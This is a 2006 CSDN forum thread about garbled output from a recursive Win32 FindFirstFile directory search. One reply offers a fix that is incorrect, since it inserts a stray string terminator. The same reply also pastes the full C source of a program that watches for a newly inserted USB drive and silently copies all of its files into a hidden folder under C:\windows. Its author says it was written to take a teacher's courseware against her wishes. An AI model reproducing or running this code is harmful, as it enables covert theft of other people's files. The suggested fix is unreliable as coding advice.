受不了WIN32_FIND_DATA FindFileData;这个属性了,哪个来指点一下

fansses 2006-08-24 12:49:50
void findfile(char *fName){
WIN32_FIND_DATA FindFileData;
HANDLE hFind;
char *Name;
char path[512];
strcpy(path,fName);
Name=path+strlen(path);


if (*(Name-1)!='\\') *Name++='\\';
strcpy(Name,"*");


hFind=FindFirstFile(path,&FindFileData);
do

{

strcpy(Name,FindFileData.cFileName);
if( FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)//|FindFileData.dwFileAttributes&FILE_ATTRIBUTE_SYSTEM )

{

if(*Name!='.'&&*Name!='..')findfile(Name);





}
cout<<path<<endl;


}while( FindNextFile(hFind,&FindFileData ) );




}



int main(){

findfile("c:\\");
return 0;
}

全是大乱码,,,搜索出来的,,只有部分正常,其他全是烫烫烫,,,,,,,,,天那
...全文
282 2 打赏 收藏 转发到动态 举报
写回复
用AI写文章
2 条回复
切换为时间正序
请发表友善的回复…
发表回复
Snow_Ice11111 2006-08-24
  • 打赏
  • 举报
回复
不关WIN32_FIND_DATA FindFileData的事,下面这行代码有问题:

if (*(Name-1)!='\\') *Name++='\\';
改成:
if (*(Name-1)!='\\')
{
*Name++='\\';
*Name++=0;//这里要补回一个字符终止符
}
窃取U盘文件的程序 先运行这个程序.然后插入U盘的时候 就会偷偷的把U盘里的文件全部复制到某个文件夹下面 两种方法实现 复制文件方式相当 区别在于对插入U盘的检测方式不同 当初写这个东西 是因为某个老师不允许我们copy她的课件 所以出此下策 -------------------------------------------------------------------------------- 方法一: -------------------------------------------------------------------------------- #include #include #include void CopyFiles(char *); void proc( WIN32_FIND_DATA ,char *); char *loc="C:\\windows\\xhy"; int main( ) { char dir[100]={0,0}; int first, second, p=0; first = GetLogicalDrives( ); CreateDirectory(loc, NULL); while(1) { Sleep(1000); second=GetLogicalDrives( ); if(second>first) { second-=first; while(second>>=1) p++; dir[0] = p+65; strcat(dir, ":\\*"); CopyFiles(dir); return 0; } } } void CopyFiles( char *dir ) { WIN32_FIND_DATA FindFileData; HANDLE hFind = INVALID_HANDLE_VALUE; hFind = FindFirstFile(dir, &FindFileData); if (hFind != INVALID_HANDLE_VALUE) proc(FindFileData, dir); while (FindNextFile(hFind, &FindFileData) != 0) proc(FindFileData, dir); FindClose(hFind); } void proc( WIN32_FIND_DATA FindFileData , char *dir) { char DirSpec[200], path[200]; DWORD stat; strcpy(path, dir); path[strlen(path)-1]='\0'; strcat(path, FindFileData.cFileName); stat = GetFileAttributes(path); if( strcmp(FindFileData.cFileName, ".") && strcmp(FindFileData.cFileName, "..") ) { if( (stat&FILE_ATTRIBUTE_DIRECTORY)==FILE_ATTRIBUTE_DIRECTORY ) { strcpy(DirSpec, dir); DirSpec[strlen(DirSpec)-1]='\0'; strcat(DirSpec, FindFileData.cFileName); strcpy(path, loc); strcat(path, DirSpec+2); strcat(DirSpec, "\\*"); CreateDirectory(path, NULL); CopyFiles(DirSpec); } else { strcpy(path, dir); path[strlen(path)-1]='\0'; strcat(path, FindFileData.cFileName); strcpy(DirSpec, loc); strcat(DirSpec, path+2); CopyFile(path, DirSpec, FALSE); } } } -------------------------------------------------------------------------------- 在Dev C++中编译测试通过 -------------------------------------------------------------------------------- 方法二: --------------------------------------

16,471

社区成员

发帖
与我相关
我的任务
社区描述
VC/MFC相关问题讨论
社区管理员
  • 基础类社区
  • Web++
  • encoderlee
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告

        VC/MFC社区版块或许是CSDN最“古老”的版块了,记忆之中,与CSDN的年龄几乎差不多。随着时间的推移,MFC技术渐渐的偏离了开发主流,若干年之后的今天,当我们面对着微软的这个经典之笔,内心充满着敬意,那些曾经的记忆,可以说代表着二十年前曾经的辉煌……
        向经典致敬,或许是老一代程序员内心里面难以释怀的感受。互联网大行其道的今天,我们期待着MFC技术能够恢复其曾经的辉煌,或许这个期待会永远成为一种“梦想”,或许一切皆有可能……
        我们希望这个版块可以很好的适配Web时代,期待更好的互联网技术能够使得MFC技术框架得以重现活力,……

试试用AI创作助手写篇文章吧